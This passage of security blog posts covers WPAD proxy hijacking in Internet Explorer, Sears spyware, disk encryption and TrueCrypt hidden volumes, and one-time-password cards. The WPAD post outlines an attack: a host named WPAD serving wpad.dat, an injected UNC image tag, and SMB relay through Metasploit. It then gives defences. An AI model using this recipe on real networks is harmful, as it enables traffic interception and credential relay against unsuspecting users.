So, in a large enterprise, this is all very convenient. As the network administrator, you can control the proxy configuration of everyone on the network from one convenient file. Should you need to change anything, you change it in one place and it gets picked up. Most enterprises don’t use this feature — I’ve heard that only about 3% do — because they instead distribute proxy settings via domain Group Policy, or they simply don’t use a proxy at all. However, the few enterprises that do are some of Microsoft’s largest customers, so this feature probably has some very influential people backing it.

So, what’s the problem with this? Why do I think of it as IE’s worst feature? Because in those 90%+ of enterprises and effectively-100% of non-enterprise networks that don’t use WPAD, you can use it to mount man-in-the-middle attacks and hijack everyone’s web traffic. If someone is using you as a proxy, you have total control over their web activity. You can read everything they do, everything that the server responds with, etc. You can redirect any web traffic transparently to your own fake sites. You can even modify the responses from real sites on-the-fly with scripts — there are proxy servers for Linux that will run everything that goes through it through some user-specified regular expressions to edit them. The classic demonstration of this was a user who set up his proxy to replace all image loads on all web pages with upside-down versions of the images or random cute cat pictures from www.kittenwar.com; you can see his proxy configuration at ex-parrot.com. You can even intercept SSL communications this way, though the user will get an error message that the URL on the certificate doesn’t match the site certificate (or, if you’re more careful about crafting the cert, simply that the certificate isn’t signed by a trusted authority.)

WPAD can enable you to take control of others’ proxy settings. How? Simple… just name your computer WPAD and join a network. Anyone who uses Internet Explorer will ask your computer for the GetProxyForUrl function. All you have to do is run a web server containing a file called wpad.dat at the root, and configure the server to return that file with a MIME type of “application/x-ns-proxy-autoconfig”. That file can contain a line making your computer the proxy for all URLs, and now you get everyone’s web traffic.

Normally, just registering with DHCP with a computer name of “WPAD” is enough to get you into DNS and hijack the entire network. Failing that, even if DNS is restricted, if WPAD doesn’t exist other systems will still find you based on WINS (which is decentralized and unauthenticated, and thus cannot be restricted.) And even if WPAD does exist, this feature is still scary — an attacker can still get their system named WPAD via a host of mechanisms, like DNS cache poisoning, ARP spoofing, rogue access points, etc.

But wait, it gets worse! By carrying out this attack, the attacker has the ability to make you execute arbitrary web-safe code (i.e. anything your browser will do without prompting.) After all, they can edit any page you view and add script to it. What if they add script like this?

<img src=”\\wpad\share\image.gif”>

Note that that’s a UNC path (Windows file sharing), not an HTTP path. Your computer will try to download that image via SMB — and since the attacker is on your local network, SMB will be successfully routed to him. Now, if he’s got a public share called “share” hosting an image called “image.gif”, this is no big deal — IE will simply display the image. But what if his machine doesn’t have shares at all, but instead a Metasploit console running my favorite Metasploit module, SMBRELAY2? Then each time a user accesses any web page, the attacker gains access to one resource of his choice as the user who loaded the web page. Every time you browse the web, the attacker gets to take an action with your credentials — including connecting back to your computer with your privileges (probably Administrator, if you’re like most people) or to any other share or website you have access to with your Windows credentials. The attacker doesn’t actually get your password — he just probably doesn’t need it, since he can act as you anyway.

Actually, an attacker can do everything I described above using only a standard Linux box with a Metasploit installation (or a BackTrack 3 LiveCD.)

So, what can you do to protect yourself or your network from this attack? As an end-user, it’s pretty simple — go into your IE or Firefox or other browser settings and disable proxy autodetection. You probably don’t need it anyway, and it slows down your first page load. If you use a network that does require a proxy, find out what the proxy is and enter its settings manually. The only reason you wouldn’t be able to do this is if you are joined to a domain that sets this setting to On via domain Group Policy, or if you run the ISA Firewall Client with the option “Enable Web Browser Automatic Configuration” enabled (in which case you can just disable that setting, too.)

As a network administrator, it’s a bit harder. If your network does not use WPAD, you could force autodetection off with Group Policy. If you do use it, make sure you have a machine registered as WPAD at each domain level and in both DNS and WINS, and specify the machine (preferably by IP address) in DHCP option 252. If a system gets the WPAD address out of DHCP, it will make no attempt to find it in other ways, which greatly reduces the opportunity for spoofing.

The ultimate solution to this would be for Microsoft to make it off by default. Unfortunately, as an automation-simplification feature, having it off by default would pretty much defeat its purpose.

CA’s Security Advisor Research Blog has an interesting post about a bit of malware they discovered when doing research for their Anti-Spyware product — the My SHC Community system. You’re offered a chance to join when you buy something from sears.com or kmart.com. The system offers you “special offers and promotions,” the usual marketing stuff — give up some privacy in exchange for discounts.

However, this system does rather more tracking than your average grocery store “membership card.” When you join, it installs a local proxy on your system and reroutes all your web traffic through it, including SSL sessions on port 443 (yes, it actually mounts local man-in-the-middle attacks on your online banking.) It then monitors this traffic, and based on some algorithm that has not been disclosed, sends some of it to comScore. Sears’s privacy policy promises not to share your data with anyone, and so does comScore’s, but it’s pretty hard to figure out what that means in this case. After all, comScore’s policy also promises not to collect any information that’s personally identifiable, but your My SHC Community data is tied to a personal ID at Sears, so in this case they’re clearly collecting personally identifiable information. Also, I think most people would consider copies of my online transactions in SSL sessions to be “personally identifiable;” while we can’t be sure comScore gets all of these (since the algorithm by which some traffic is rerouted is unknown), we do know the software is capable of sending them to comScore so we just have to take their word for it. Also, CA’s research did show an SSL transaction being rerouted, credit card numbers and all.

Bruce Schneier points out that if an average piece of spyware did this, it would be considered criminal. However, not only is Sears a large corporation and thus able to get away with this sort of thing (remember the Sony Rootkit debacle?), it also did have a pretty clear privacy statement that the user agrees to before installing it, so it may be on good legal ground. However, even if it’s legal, it’s a terrible idea for all involved.

First of all, the app is silent — once it’s been installed, it gives no indication it is monitoring your traffic, and no clear way to remove it. Second, the fact that the app comes from Sears, providing their privacy policy, but the data goes to comScore, while both parties claim the data is not shared with “any other party,” makes the privacy policies border on nonsensical. If it takes a lawyer to figure out what exactly your click-through license agreement means, it’s pretty disingenuous to claim that end users have been properly informed and have voluntarily waived their privacy rights. And third, comScore & Sears are collecting data (such as your credit card numbers and favorite non-commercial websites) that they don’t even want along with the information that they’re trying to collect. This puts on them a legal burden to protect and secure huge volumes of information that provides them no benefit.

When you have private data that you have a moral, legal, or regulatory responsibility to protect, the first thing to consider, before looking at security measures, is whether you need the data at all. It’s a lot easier to delete it and stop collecting it than it is to put in encryption systems, network access controls, auditing and logging systems, etc. A lot of companies collect reams of useless private data simply because “they’ve always done it that way,” and thus have to spend money protecting things of no value to them. This is probably the logic behind Sears’s data collection here — “we might as well have everything, it could be useful someday” without thinking about the cost that having that data imposes on the enterprise. You can’t have a catastrophic data breach if you don’t have the data.

This is also another symptom of a larger problem — people are increasingly unable to control the code running on their own computers. The separation of code and data is becoming increasingly porous with the web’s “active content,” and DRM software exists to keep the user from controlling their own system’s activity. Microsoft’s Vista User Account Control and Integrity Levels systems try to mitigate this, but it’s really not enough.

The problem is that they rely on the user to determine what code is allowed to run, but the user is unable to verify what that code will do until he runs it. It’s impossible for the computer to tell the user what it will do, as native code is unverifiable. With some technologies, such as Microsoft .NET code, it is possible for the system to tell the user what the code will do, but people writing malicious or underhanded apps like this Sears spyware and the Sony rootkit will not use these technologies, sticking to the unverifiable native code. It is my hope that virtualization will offer a way out of this in the long term — a way for each application to have its own enforceable security boundary. However, to avoid these same problems from occurring, application developers will have to give up functionality — that is, certain types of inter-application interaction will have to be categorically prohibited, which will sometimes inconvenience the user.

I think we’re more likely to see these solutions come from the open-source world than the commercial operating system world (i.e. Microsoft and Apple.) The commercial OS world is very concerned about a.) ease of use for the user, and b.) backwards compatibility for applications, as these things sell software. The open-source world is less concerned with these things, which inhibits their adoption in the marketplace but also results in software that is often much more under the user’s control than commercial software is. The real trick will not be developing these security technologies (not that that will be easy); it will be adapting them so that they can be used every day by non-technical users.

Over at Schneier on Security, Bruce Schneier has a post today about securing data on disk. Encryption is often sold as a panacea for all security problems — which it’s not — but keeping people from reading your data if they steal your laptop is one thing encryption is really good at, and it’s an area where the real complexities of encryption (key management, key rotation, public key infrastructure) aren’t terribly important and can be safely neglected.

Schneier mentions Microsoft’s BitLocker in passing, and I wanted to add some detail. BitLocker is a whole-disk encryption system integrated into Windows Vista, and integrates with the Trusted Platform Module if available (the TPM is a smart chip on the mainboard that stores keys and performs secure cryptographic operations.) You tell BitLocker to encrypt your drive, and then choose one of several options for how to store the key. The simplest mode simply prevents someone from mounting the drive in another system or operating system, by storing the key in the TPM and retrieving it automatically on boot (this actually does make it significantly harder to get at the data on the disk without your password.) More complex modes store the key in the TPM and require either a PIN code from you or a certificate stored on a USB key to extract the key. Thus, on booting your PC you enter your PIN or insert the key, and the drive is unlocked.

The PGP product Schneier advocates encrypts the drive similarly to BitLocker, though rather than storing the key in the TPM it relies on a user-supplied passphrase to decrypt the key. While this is theoretically less secure (with the TPM, even the encrypted key is stored in tamper-resistant hardware and difficult to access), in practice it makes little difference — it’s still quite secure, and unlike BitLocker will let you encrypt other drives.

However, one feature BitLocker has and PGP lacks is key escrow. Now, this is normally thought of by privacy activists as an anti-feature, remembering the Clipper Chip fiasco of the late 90’s. However, the purpose of BitLocker’s key escrow is not to give a back-door key to the government, but rather to make the system palatable for enterprise deployment. Large corporations have traditionally been unwilling to embrace whole-disk encryption products like PGP even on laptops carrying sensitive data, for fear that the person with the key will forget the passphrase or simply leave the company and refuse to disclose it. By having the BitLocker keys escrowed with the domain controller such that appropriate corporate officers can retrieve it, it makes BitLocker “safe” for corporate use. If you’re not a domain member (i.e. it’s your home computer), then the keys aren’t escrowed with anyone else — there’s no government back-door.

Schneier rightly points out that an issue with any sort of whole-drive encryption is that they do not protect your data from government subpoena. If the government seizes your computer as evidence, they can (in the United States at least) subpoena the keys, and if you don’t turn them over you can be fined or jailed for contempt of court. This is not an issue for most (legal) data, but if you have something to hide from everyone, there are solutions other than the one Schneier posits (”just don’t keep data on your laptop that you don’t want subpoenaed.”) One option is the open-source disk encrypter TrueCrypt.

The problem with encrypted data on your disk is that it’s really obvious. It is not plausible to say “Oh, I don’t have any encrypted data” if served with a subpoena. For one, you probably have encryption software on your computer, and links to data that can’t be followed without decryption. But besides that, encrypted data is provably, mathematically distinguishable from almost everything else. Encrypted data consists of a binary blob with a uniform distribution across its entire data space — that is, any given byte is just as likely to be 00 as it is to be 01, 02, 03, or any other value. If you plotted it on a histogram, given enough data the graph would be approximately flat (subject to the variation and “clumpiness” always present in random data) and there would be no more repetition than expected by random chance. This is unlike every other type of data — executable programs, graphics, sound, word processor files, spreadsheets, etc. all have their own characteristic histograms and repeated patterns. Even compressed files have specific, recognizable headers and certain characteristic patterns (though they come closest to looking like encrypted data, since they have high entropy.) Thus, encrypted data stands out because it is “more random” than any other data on your hard drive. Since no one keeps large blobs of totally random noise on their hard drive, if one is found, it’s pretty certain to be encrypted data, and the courts know this (or at least can be convinced of it by expert witnesses.)

TrueCrypt has the feature of being able to place an encrypted volume inside an encrypted volume. Combined with the fact that it pads encrypted volumes with random noise, this leads to the ability to have plausible deniability of encrypted data. Essentially, it works as follows:

1. You create a TrueCrypt volume on your hard drive with a specified size, say 10 GB. TrueCrypt reserves that much space, and fills it with random noise.
2. You create a second TrueCrypt volume, with a different key, inside the first volume, with a smaller specified size, say 2 GB. TrueCrypt takes that space and fills it with different random noise.
3. When you want to access encrypted data, you mount both volumes. You put really secret stuff on the inner volume, and moderately secret stuff (e.g. pirated MP3s) on the outer volume.

Now, if someone gets your laptop, they can see that you have TrueCrypt installed, and that there is a 10GB encrypted volume (as there’s a 10GB blob of random noise on your hard drive.)  They force you to give them the key, and you do so.  This unlocks the outer volume, revealing its encrypted files.  However, there is no sign that the inner volume exists.  Unless you know it’s there, and know the key, there is no way to distinguish the random noise of its encrypted files from the random noise TrueCrypt filled the outer volume with anyway.  There could be a dozen encrypted volumes, or none — it’s impossible for anyone to know, and indeed, most people without a security mindset would never even think of such a thing.

Now, there are drawbacks to this technology.  If you mount the outer volume but not the inner one, neither TrueCrypt nor your operating system knows about the inner volume, either!  This means that writing files to the outer volume may overwrite and destroy the inner volume if you’ve not mounted it.  This isn’t a major problem, but it is inconvenient, especially if you have many volumes (as you need to type in the different passphrases and addresses of all of them every time you want to write to any of them.)  And no automation will help you, because having any would defeat the purpose — the existence of automation scripts would tip off a smart forensic investigator that your outer volume contains inner volumes.

It’s an interesting solution to the problem of plausible deniability — using steganography to hide encrypted data in encrypted data.  Admittedly, Schneier’s solution (just don’t have the data at all) is even safer, but sometimes that’s not good enough.

A pair of companies called Innovative Card Technologies and eMue Technologies have put out a press release for a one-time-password token embedded in a credit card.

Essentially, they embed a smart chip and an LCD display inside a bank card. When you need the password to your account (such as to log into online banking), you type your PIN into the card itself, and the display shows your password. This provides true two-factor authentication (something you have — the card — and something you know — the PIN) for online financial transactions, and is tamper-resistant.

Now, OTP tokens are not new. RSA has been producing the SecurID line for over a decade. However, they have not been widely adopted for online banking because of bulk and inconvenience. Nobody wants to have an extra device (they’re usually keychain fobs) that they have to find every time they log into their bank’s website. People want this even less because of the lack of standardization — you’d need one for every bank or credit card you have, and you’d need to be able to tell them apart. Embedding it in the card itself, though, solves this customer inconvenience. After all, you have the card on you anyway.

The trick now is to get banks to actually adopt this thing. This is very convenient for customers, and makes them substantially more secure. However, it requires the banks to actually buy the devices for all their customers — and eMue/InCard don’t say on their web site what they cost. An RSA SecurID keychain fob, however, costs $86, so I wouldn’t be terribly surprised if the cost to the banks of these cards is similar. And because of the costs, banks, like corporations, are inclined to go for what Alex at Worse Than Failure whimsically calls “Wish-It-Was-Two-Factor Authentication:” simply requiring you to provide something you know, and… something else you know.

The problem is that passwords are simply not very secure anymore. There was a time when even a modest password (say, an 8-letter combination not found in the dictionary) was pretty secure against most attackers. However, that time has passed; there are too many ways to crack a password. For example, if I want a user’s password so I can log into his online banking site, I could:

1. Lure him to my website, which installs spyware on his machine which records what he types.
2. Intercept his communication to the website and grab the password (mitigated by SSL login)
3. Steal his session cookies and hijack the session (mitigated by using SSL beginning-to-end on the website — common for banks/financial institutions, but rare for online email and other sites)
4. Wait for him to sign onto a public wireless hotspot, spoof the bank’s website, and steal the password with a man-in-the-middle attack (gets past the mitigations in #2 and #3)
5. Break into his email account, tell the website I “forgot” my password, and read the password-reset email it sends
6. Break into the banking website itself and get the encrypted password file. Admittedly, in this case I probably don’t even need to get his password anymore. But if I do, I can then use a rainbow table to break the encryption in seconds. A 12-character password with numbers and symbols still falls in seconds.
7. Break into any other website the user subscribes to; chances are he uses the same password on all of them
8. Send a phishing email tricking the user into supplying me with his password. He won’t fall for that? Send one asking him to sign up for some other service and create a username and password, then see #6

Password strength is irrelevant. Today, there’s really only two levels of password strength:

1. Guessable — blank, “password,” “secret,” your pet’s name, your wife’s birthday, a dictionary word
2. Not guessable — something meaningful only to you

There is not much variation in #2 — whether your password is “i like cheese” or “jR3&sJ7#iK9(wV2$” makes little difference (it makes no difference whatsoever to the 8 attacks listed above), but the former is far easier to remember. The problem with passwords isn’t that they’re too short, or not complex enough — it’s that a password is just data, and there are many ways to steal data.

So why do banks and corporate IT departments keep harping on longer, more complicated passwords? Why do banks require you to answer “secret questions?” (Technically called cognitive passwords — things like “what was your high school’s mascot?” — these are really just extra passwords, only required to be easily guessable.) Simple — it passes the cost, both in money and in effort, on to you. Asking the customer to answer extra questions, or the IT user to remember harder passwords, puts the onus of maintaining security on them. The IT department or bank doesn’t have to do anything at all to implement these “solutions” — it just asks you to do it. In the case of banks, there’s the added benefit of making people believe (falsely) that they are more secure by jumping through these hoops.

The problem is that these methods don’t actually do anything. Asking for “something you know and something else you know” is pointless; whatever method is used to steal the first password can also steal the cognitive password. Requiring strong passwords mitigates only against attack #6 above (stolen password database), and these days it doesn’t do even that (if your password is under 14 characters I can crack it in seconds with a rainbow table; even if the hashes are salted, preventing that sort of attack, distributed cracking with GPU offload will still get it in days.) What is needed is true two-factor authentication — not just for banks, but for anything online for which real authentication is required.

Unfortunately, this requires banks to shoulder the cost of providing either a token or a biometric reader to all their customers. The token is the simpler solution, though it has the disadvantage that, since there is no common token infrastructure out there, every bank or site has to do it. A biometric solution would scale better (one reader for every site,) but has a first-mover problem (which bank is going to give you the reader, thereby subsidizing all the other banks you use?) and may have robustness issues. This token-on-a-card technology is a good way to provide real security without inconveniencing the customer, and I hope to see it go somewhere.

Unfortunately, this is a case where the “security theater” (as Bruce Schneier calls it in Beyond Fear) interferes with real security. Banks have been telling us that their sites are secure, and their silly questions keep us safe. How do they now convince us that we’re not safe and we need to prefer the bank with the token-on-a-card? Without competitive pressure, there’s little incentive for banks to spend the money — but banks are loath to exert competitive pressure that harms public trust in the banking system.